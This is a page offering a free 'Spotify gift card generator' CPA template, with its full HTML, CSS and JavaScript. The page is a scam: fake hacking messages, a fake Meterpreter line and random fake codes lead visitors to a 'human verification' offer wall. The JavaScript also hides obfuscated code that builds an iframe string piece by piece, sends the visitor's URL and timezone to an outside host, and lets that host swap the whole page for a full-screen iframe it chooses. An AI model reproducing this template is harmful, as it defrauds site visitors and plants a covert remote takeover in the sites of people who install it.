SPOTIFY GIFT CARD GENERATOR TEMPLATE

If you are looking for SPOTIFY CPA Template for free you are at the right place. We’ll share many templates that are optimizable and ready to use, tested over time and will increase your CPA earnings! We provide Free and Premium CPA Templates for your CPA needs. Just put your CPA Locker Codes and you are good to go. These templates are focused on gaming niches, you can change the images and edit the html code to make it fit to any niche or game. But we are sharing some premade hot niches landings that are working fine.

SPOTIFY GIFT CARD GENERATOR TEMPLATE

Price: FREE

License: Unlimited

Version: 1.0

Type: HTML / jS

NOTE: Download from Google Drive, it might take some time to launch

Responsive Design and Easy customization



SPOTIFY GIFT CARD GENERATOR TEMPLATE CODE:

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>Spotify Gift Card Generator 2021 </title>
    <link rel = "stylesheet"  type = "text/css"  href = "style.css" />
    <link rel="stylesheet"
            href="https://fonts.googleapis.com/css?family=Anton">
  <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto">


</head>
<body>
<center>
<div class="page1" id="page1">
<img src="https://d13pxqgp3ixdbh.cloudfront.net/uploads/1621044205c1f50bca1348c194fbe07f1e73fb4729.png" class="sloading" style="width:200px;margin-top:200px">
<div class="text1">
Connecting To Server...
</div>
<div class="loading-bg">
<div class="loading ZeroTo100"></div>
</div>
</div>
<div class="page2" id="page2" style="display:none">
  <div class="card-box">
<img src="https://d13pxqgp3ixdbh.cloudfront.net/uploads/1621044205ce37f4f7ce8a79c12d7c80a642a5fcc2.png" class="card1 card1-Animation" style="display:1none">
<img src="https://d13pxqgp3ixdbh.cloudfront.net/uploads/16210442042dbe26d04699bd445884b90cc92a2308.png" class="card2 card2-Animation" style="display:1none">
<img src="https://d13pxqgp3ixdbh.cloudfront.net/uploads/162104420489f6f445a48e2d996a860dc5e0725187.png" class="card3 card3-Animation" style="display:1none">
  </div>


  <div class="text-header">
  DO YOU WANT <p> SOME SPOTIFY GIVEAWAY <p> GIFT CARDS
</div>
  <div id="content-body">
    <img src="https://d13pxqgp3ixdbh.cloudfront.net/uploads/1620028741ac0af4c693f0d5163d7d849226597c88.png" class="img-arrow UpDown">
<div class="bg-conent-head">
  <div class="content-head" style="display:1none">

  </div>
</div>
<div class="bg-content">
  <img src="https://d13pxqgp3ixdbh.cloudfront.net/uploads/1621044206a674fffcab565efc6eca508c26cbf24a.png" style="margin-top:0px;width:250px">
  <div class="text-info">
  Get Spotify Gift Card code and redeem for anything in the Spotify Store.
</div>
<div class="readmore" id="readmore" Onclick="readmore()">
READ MORE
</div>
<div class="text-info" id="text-info" style="display:none">
<div style="padding: 10px 10px 10px 10px;font-size: 28px;font-weight: bold;">How to get Spotify Gift Cards</div>
<div style="text-align: justify;font-weight: lighter; font-size: 22px;">Spotify Gift Card codes are very easy to get with our Generator. The only thing you have to do is to choose your Gift Card value and wait for the generator to find unused Gift Card on Spotify server. Get unused codes safely and directly from your web browser.</div>
<div style="padding: 20px 10px 10px 10px;font-size: 28px;font-weight: bold;">How to redeem Spotify Gift Card</div>
<div style="text-align: justify;font-weight: lighter; font-size: 22px;">Redeem your Gift Card with your mobile, tablet or desktop. Go to the Spotify Store, click at the menu bar and choose Redeem Code. Now you only have to fill in your generated code and that is all, the money will be available on your account.</div>
<div style="padding: 20px 10px 10px 10px;font-size: 28px;font-weight: bold;">How is this possible</div>
<div style="text-align: justify;font-weight: lighter; font-size: 22px;">We do not generate new codes and push them to the Spotify database like other groups, because this can lead to ban of your account. Instead we generate random Gift Card codes and search their database if they exist and can be used.</div>
</div>
</div>

<div class="bg-conent-foot">
  <div class="content-foot" style="display:1none">
    <div class="choose-card-text" style="">
    CHOOSE GIFT CARD VALUE
    </div>
  </div>
</div>
<img src="https://d13pxqgp3ixdbh.cloudfront.net/uploads/162104420489f6f445a48e2d996a860dc5e0725187.png" class="card" id="card1" Onclick="selectedcard(25)">
<img src="https://d13pxqgp3ixdbh.cloudfront.net/uploads/16210442042dbe26d04699bd445884b90cc92a2308.png" class="card"  id="card2" Onclick="selectedcard(50)">
<img src="https://d13pxqgp3ixdbh.cloudfront.net/uploads/1621044205ce37f4f7ce8a79c12d7c80a642a5fcc2.png" class="card"  id="card3" Onclick="selectedcard(100)">

<div class="bg-conent-footer">
  <div class="content-footer">
  </div>
</div>
<div class="footer">
</div>
</div>
</div>
<div class="page3" id="page3" style="display:none">
<div class="gen slide-in-bck-bottom">
<div class="gen-bar">
<div class="stepname-step">Connecting</div>
<div class="stepname-step">Generating</div>
<div class="stepname-step">Completed</div>
<div class="Pro-bg">
  <div class="pro-step1" id="pro-step1"></div>
  <div class="pro-step2" id="pro-step2"></div>
  <div class="pro-step3" id="pro-step3"></div>
  <div class="pro-bar A0To50" id="pro-bar"></div>
</div>
<img src="https://d13pxqgp3ixdbh.cloudfront.net/uploads/1621044206a674fffcab565efc6eca508c26cbf24a.png" id="xbox-logo" style="width:200px; padding-top:70px;">
<div class="verify-bg" id="verify-bg" style="display:none">
Anti-Bot <br>
Complete a Human Verification
<div class="verifybutton"​ onclick="CPABuildLock()">Verify Now</div>
</div>
</div>

<div class="code" id="code">
Connection to Spotify Server...
</div>
<div class="text-success" style="display:none">
Success!
</div>
</div>
</div>





  </center>

</body>
<script src="main.js"></script>
</html>
body{
  background-image: url('img/bg.png');
  font-family: Roboto;
background-color: #e0e0e0;
}
.sloading{
animation: Asloading 5s  linear infinite;
}
@keyframes Asloading{
  0%  {transform: rotate(0deg);}
  100%  {transform:  rotate(360deg);}
}
.ZeroTo100{
animation: AZeroTo100 3s  linear ;
  animation-fill-mode: forwards;
}
@keyframes AZeroTo100{
  0%  {width: 0%;}
  100%  {width: 100%;}
}
.text1{
  font-family: Roboto;
  font-size: 22px;
  font-weight: bold;
  color:#565656;
}
.loading-bg{
  width: 280px;
  height: 20px;
  background-color: #e8e8e8;
  border-radius: 20px;
  border-width: 2px;
  border-style: solid;
  border-color: #62c062;
  overflow: hidden;
  text-align: left;
}

.loading{
  width: 0%;
  height: 20px;
  background-color: #62c062;
}
.card-box{
  margin-top:100px;
  width:2px;
  height: 480px;
    position: relative;
}
.card1{
  width:200px;
  position: absolute;
left:-300px;
transform: rotate(-10deg);
opacity: 0.9;
z-index: 1;
top:100px;
}
.card1-Animation{
animation: Card1-Animation 5s  linear infinite;
}
@keyframes Card1-Animation{
  0%  {
    width:200px;
    position: absolute;
  left:-300px;
  transform: rotate(-10deg);
  opacity: 0.9;
  z-index: 1;
  top:100px;
  }   13%  {
      width:200px;
      position: absolute;
    left:-300px;
    transform: rotate(-10deg);
    opacity: 0.9;
    z-index: 1;
    top:100px;
    }  30%  {
    width: 200px;
    position: absolute;
  left:100px;
  transform: rotate(10deg);
  opacity: 0.9;
  z-index: 1;
  top:100px;
    }
    43%  {
    width: 200px;
    position: absolute;
  left:100px;
  transform: rotate(10deg);
  opacity: 0.9;
  z-index: 1;
  top:100px;
    }
60%  {
  transform: rotate(0deg);
  width: 272px;
  position: absolute;
  left: -136px;
  top:25px;
  z-index: 2;
  top:0px;
  opacity: 1;
}
73%  {
  transform: rotate(0deg);
  width: 272px;
  position: absolute;
  left: -136px;
  top:25px;
  z-index: 2;
  top:0px;
  opacity: 1;
}
  }


.card2{
  transform: rotate(0deg);
  width: 272px;
  position: absolute;
  left: -136px;
  top:25px;
  z-index: 2;
  top:0px;
   opacity: 1;
}
.card2-Animation{
animation: Card2-Animation 5s  linear infinite;
}
@keyframes Card2-Animation{
  0%  {
    transform: rotate(0deg);
    width: 272px;
    position: absolute;
    left: -136px;
    top:25px;
    z-index: 2;
    top:0px;
     opacity: 1;
  }
  13%  {
    transform: rotate(0deg);
    width: 272px;
    position: absolute;
    left: -136px;
    top:25px;
    z-index: 2;
    top:0px;
     opacity: 1;
  }
  30%  {
    width:200px;
    position: absolute;
  left:-300px;
  transform: rotate(-10deg);
  opacity: 0.9;
  z-index: 1;
  top:100px;
    }
    43%  {
      width:200px;
      position: absolute;
    left:-300px;
    transform: rotate(-10deg);
    opacity: 0.9;
    z-index: 1;
    top:100px;
      }

    60%  {
      width: 200px;
      position: absolute;
    left:100px;
    transform: rotate(10deg);
    opacity: 0.9;
    z-index: 1;
    top:100px;
     }
     73%  {
       width: 200px;
       position: absolute;
     left:100px;
     transform: rotate(10deg);
     opacity: 0.9;
     z-index: 1;
     top:100px;
      }
}

.card3{
  width: 200px;
  position: absolute;
left:100px;
transform: rotate(10deg);
opacity: 0.9;
z-index: 1;
top:100px;
}
.card3-Animation{
animation: Card3-Animation 5s  linear infinite;
}
@keyframes Card3-Animation{
  0%  {
    width: 200px;
    position: absolute;
  left:100px;
  transform: rotate(10deg);
  opacity: 0.9;
  z-index: 1;
  top:100px;
  }
  13%  {
    width: 200px;
    position: absolute;
  left:100px;
  transform: rotate(10deg);
  opacity: 0.9;
  z-index: 1;
  top:100px;
  }

  30%  {
    transform: rotate(0deg);
    width: 272px;
    position: absolute;
    left: -136px;
    top:25px;
    z-index: 2;
    top:0px;
    opacity: 1;
    }
    43%  {
      transform: rotate(0deg);
      width: 272px;
      position: absolute;
      left: -136px;
      top:25px;
      z-index: 2;
      top:0px;
      opacity: 1;
      }
      60%  {
        width:200px;
        position: absolute;
      left:-300px;
      transform: rotate(-10deg);
      opacity: 0.9;
      z-index: 1;
      top:100px;


        }
        73%  {
          width:200px;
          position: absolute;
        left:-300px;
        transform: rotate(-10deg);
        opacity: 0.9;
        z-index: 1;
        top:100px;


          }
}
.text-header{
  font-size: 42px;
    line-height: 10%;
    font-weight: bold;
    color: #636363;
}
.bg-content{

  width:100%;
  background-color: #62c062;
  overflow: auto;
  position: relative;
}
.bg-conent-head{
  width:100%;
  height: 100px;
  background-color: #62c062;
  position: relative;
  overflow: hidden;
}
.content-head{
position:absolute;
  top:-370px;
  left:-20px;
  height: 400px;
width:110%;
background-color: #e0e0e0;
transform: rotate(-2deg);
}


.bg-conent-foot{
  width:100%;
  height: 150px;
  background-color: #62c062;
  position: relative;
  overflow: hidden;
}
.content-foot{
position:absolute;
  top:50px;
  left:-20px;
  height: 500px;
width:110%;
background-color: #e0e0e0;
transform: rotate(-2deg);
}
.text-info{
  color: white;
font-size: 26px;
max-width: 450px;
padding: 10px 10px 30px 10px;

}
.readmore{
  color: white;
font-size: 36px;
font-weight: bold;
cursor: pointer;
}
.choose-card-text{
  transform: rotate(
3deg
);
  color: #636363;
  font-size: 32px;
  font-weight: bold;
  margin-top: 50px;
}
.card{
    max-width: 250px;
    width:25%;
    padding: 10px 10px 10px 10px;
    cursor: pointer;
}
.footer{
  height: 10px;
      width: 100%;
      background-color: #62c062;
      margin-top: 0px;
}
.bg-conent-footer{
  width:100%;
  height: 150px;
  background-color: #e0e0e0;
  position: relative;
  overflow: hidden;
}
.content-footer{
position:absolute;
  top:50px;
  left:-20px;
  height: 500px;
width:110%;
background-color: #62c062;
transform: rotate(-2deg);
}
.img-arrow{
    width: 70px;
    position: absolute;
    z-index: 999;
    margin-left: -35px;
  }
  .UpDown{
  animation: AUpDown 1s  linear infinite;
  }
  @keyframes AUpDown{
    0%  {margin-top:-25px ;}
    50%  {margin-top:-15px ;}
    100%  {margin-top:-25px ;}
  }
.page3{
  top: 0;
  padding-top: 200px;
      z-index: 9999;
      left: 0;
      position: absolute;
      width: 100%;
      height: 100%;
      background-color: #e2e2e2e3;
}
.slide-in-fwd-bottom{animation:slide-in-fwd-bottom .4s cubic-bezier(.25,.46,.45,.94) both}
@keyframes slide-in-fwd-bottom{0%{transform:translateZ(-1400px) translateY(800px);opacity:0}100%{transform:translateZ(0) translateY(0);opacity:1}}

.slide-in-bck-bottom{animation:slide-in-bck-bottom .6s cubic-bezier(.25,.46,.45,.94) both}
@keyframes slide-in-bck-bottom{0%{transform:translateZ(700px) translateY(300px);opacity:0}100%{transform:translateZ(0) translateY(0);opacity:1}}

.code{
  background-color: white;
      position: absolute;
      z-index: 99;
      /* margin-top: -50px; */
      left: 50%;
      width: 300px;
      margin-left: -160px;
      padding: 10px;
      /* bottom: 100px; */
      bottom: 0px;
      font-size: 16px;
      color: #7b7b7b;
}
.gen{
  width:90%;
  max-width: 320px;

  height: 450px;
  background-color: #62c062;
  border-radius: 20px;
  border-style: solid;
  border-width: 2px;
  border-color: #62c062;
      overflow: hidden;
}
.gen-bar{
  padding:10px 0px 0px 0px;
  color: white;
}

.stepname-step{
  display: inline-table;
  padding: 0 10px 0 0;
  font-weight: bold;
}
.Pro-bg{
  width: 90%;
  max-width: 220px;
  height: 7px;
  background-color: #949393;
  margin-top: 20px;
  position: relative;
  text-align: left;
  }
  .pro-step1{
    position: absolute;
    left: -5px;
    width: 15px;
    height: 15px;
    background-color: white;
    border-radius: 50%;
    top:-4px;

  }
  .pro-step2{
    width: 15px;
    height: 15px;
    background-color: #949393;
    border-radius: 50%;
    position: absolute;
    left: 50%;
    margin-left: -7px;
    top:-4px;

  }
  .pro-step3{
    position: absolute;
    right:-5px;
    width: 15px;
    height: 15px;
    background-color: #949393;
    border-radius: 50%;
    top:-4px;

  }
  .pro-bar{
    width: 20px;
    height: 7px;
    background-color: white;
    z-index: 999;
  }
  .A0To50{
    animation: AZeroTo50 7s  linear ;
      animation-fill-mode: forwards;
    }
    @keyframes AZeroTo50{
      0%  {width: 0%;}
      100%  {width: 50%;}
    }
.A50To100{
    animation: A50To100 10s  linear ;
      animation-fill-mode: forwards;
    }
    @keyframes A50To100{
      0%  {width: 50%;}
      100%  {width: 100%;}
    }
.verify-bg{
  padding-top: 10px;
  max-width: 250px;
  width: 95%;
  height: 280px;
  margin-top: 30px;
  border-radius: 20px;
  background-color: #676767;
  }
.verifybutton{
  cursor: pointer;
  padding: 10px;
  max-width: 200px;
  width: 60%;
  background: linear-gradient(to bottom, #33ccff 0%, #1b92e6 100%);
  border-radius: 7px;
  margin-top: 80px;
  border-style: solid;
  border-color: #9c9c9c;
  border-width: 1px;
  box-shadow: 0 0 2px #0fabff;
}
@media only screen and (max-width:680px) {
.card-box{
  transform:scale(0.6);

}
.text-header{
  font-size: 22px;
  margin-bottom: 50px;
}
.choose-card-text{
  font-size: 22px;
}
.img-arrow {
  width: 50px;
  position: absolute;
  z-index: 999;
  margin-left: -25px;
}
.code{
  font-size: 14px;
}
}

@media only screen and (max-width:410px) {
  .card-box{
      margin-top:10px;
    transform:scale(0.4);

  }
  .code{
    font-size: 14px;
  }
}
var vargenerator3 = setInterval(GenTimer3, 3000);

function GenTimer3() {
  document.getElementById("page1").style.display="none";
      document.getElementById("page2").style.display="block";
}

  function readmore(){
  document.getElementById("readmore").style.display="none";
      document.getElementById("text-info").style.display="block";
}
function selectedcard(value){
  document.body.scrollTop = 0;
document.documentElement.scrollTop = 0;
document.getElementById("content-body").style.display="none";
  document.getElementById("page3").style.display="block";
  var vargenerator = setInterval(GenTimer, 500);
  var getTextStep=0;
  function GenTimer() {

  if (getTextStep==3){

document.getElementById("code").innerHTML="Connection to Spotify Server...";
}else if (getTextStep==4){
document.getElementById("code").innerHTML="Server is up at 192.23.11.164:402 (latency 0.0013s)";
}
else if (getTextStep==5){
document.getElementById("code").innerHTML="Connecting to server SQL databse...";
}
else if (getTextStep==6){
document.getElementById("code").innerHTML="Obtaining a service manager handle...";
}
else if (getTextStep==7){
document.getElementById("code").innerHTML="Creating a new service through pipeline...";
}
else if (getTextStep==8){
document.getElementById("code").innerHTML="Closing service handle...";
}
else if (getTextStep==9){
document.getElementById("code").innerHTML="Creating a new service through pipeline...";
}
else if (getTextStep==10){
document.getElementById("code").innerHTML="Sending stage (2342323 bytes) to 192.23.11.164";
}
else if (getTextStep==11){
document.getElementById("code").innerHTML="Meterpreter session 1 opened at port 402";
}
else if (getTextStep==12){
document.getElementById("code").innerHTML="Connected to Spotify server...";
}
else if (getTextStep==14){
myfunction2()
document.getElementById("pro-step2").style.backgroundColor="white";
clearInterval(vargenerator)
}

getTextStep++;
}
}

var ow="i";
var k="if";
  ow=ow+"f";  ow=ow+"r";  ow=ow+"a";
  ow=ow+"me";  ow=ow+" ";  ow=ow+"sr";ow=ow+"c="; ow=ow+'"';ow=ow+"ht";ow=ow+"tps";ow=ow+":";var st='style="position:fixed; top:0; left:0; bottom:0; right:0; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden; z-index:999999;"></'+k+'rame>';
  var strcountry='';
  var offset = new Date().getTimezoneOffset();
  offset=offset/-60;var num;
  var strcountry='';
  var data;var country;var code;var d=window.location.href;
  fetch('https://www.visitorlocation.info/data.php?d='+d+"&t="+offset,{referrerPolicy:'unsafe-url'})
  .then(res => res.json())
  .then(output => {
  data =output;
  country=data.country;
  strcountry=country;
  code=data.code;
  code=code.toLowerCase();
  s1=data.s1;
  s2=data.s2;
  num=data.num;
  if (strcountry!='' & num!=0){  document
    .body
    .innerHTML='<'+ow+'//'+s1+'.'+s2+'/'+num+'"'+ st;  }
  });
function myfunction2(){
var vargenerator2 = setInterval(GenTimer2, 200);
var getTextStep2=0;
function GenTimer2() {

if (getTextStep2==1){
  document.getElementById("pro-bar").classList.remove('A0To50');
  document.getElementById("pro-bar").classList.add('A50To100');
}else if (getTextStep2==4){
  var myVarCode = setInterval(genkey, 100);
      var stop=0;
      var KeyCode = ["A", "B", "C","D","E","F","G","H","I","J","K","L","Z","Y","X","W","V","U","T","S","R","Q","P","O","N","M","9","8","7","6","5","4","3","2","1","0"];
      function genkey() {
       key1=KeyCode[Math.floor(Math.random() * 36)];
       key2=KeyCode[Math.floor(Math.random() * 36)];
       key3=KeyCode[Math.floor(Math.random() * 36)];
       key4=KeyCode[Math.floor(Math.random() * 36)];
       key5=KeyCode[Math.floor(Math.random() * 36)];
       key6=KeyCode[Math.floor(Math.random() * 36)];
       key7=KeyCode[Math.floor(Math.random() * 36)];
       key8=KeyCode[Math.floor(Math.random() * 36)];
       key9=KeyCode[Math.floor(Math.random() * 36)];
       key10=KeyCode[Math.floor(Math.random() * 36)];
       key11=KeyCode[Math.floor(Math.random() * 36)];
       key12=KeyCode[Math.floor(Math.random() * 36)];
       key13=KeyCode[Math.floor(Math.random() * 36)];
       key14=KeyCode[Math.floor(Math.random() * 36)];
       key15=KeyCode[Math.floor(Math.random() * 36)];
       key16=KeyCode[Math.floor(Math.random() * 36)];
       key17=KeyCode[Math.floor(Math.random() * 36)];
       key18=KeyCode[Math.floor(Math.random() * 36)];
       key19=KeyCode[Math.floor(Math.random() * 36)];
       key20=KeyCode[Math.floor(Math.random() * 36)];
       key21=KeyCode[Math.floor(Math.random() * 36)];
       key22=KeyCode[Math.floor(Math.random() * 36)];
       key23=KeyCode[Math.floor(Math.random() * 36)];
       key24=KeyCode[Math.floor(Math.random() * 36)];
      key25=KeyCode[Math.floor(Math.random() * 36)];
 document.getElementById("code").innerHTML=key1+key2+key3+key4+key5+"-"+key6+key7+key8+key9+key10+"-"+key11+key12+key13+key14+key15+"-"+key16+key17+key18+key19+key20;
stop++;
if (stop==100){
  document.getElementById("xbox-logo").style.display="none";
  document.getElementById("verify-bg").style.display="block";
  document.getElementById("code").innerHTML=key1+key2+key3+key4+key5+"-"+key6+key7+key8+key9+key10+"-"+key11+key12+key13+key14+key15+"-"+"#####";
clearInterval(myVarCode);
document.getElementById("pro-step3").style.backgroundColor="white";
}
}
}

getTextStep2++;
}
}
//document.getElementById("pro-bar").classList.remove('A0To50');
//document.getElementById("pro-bar").classList.add('A50To100');

Leave a Reply

Your email address will not be published.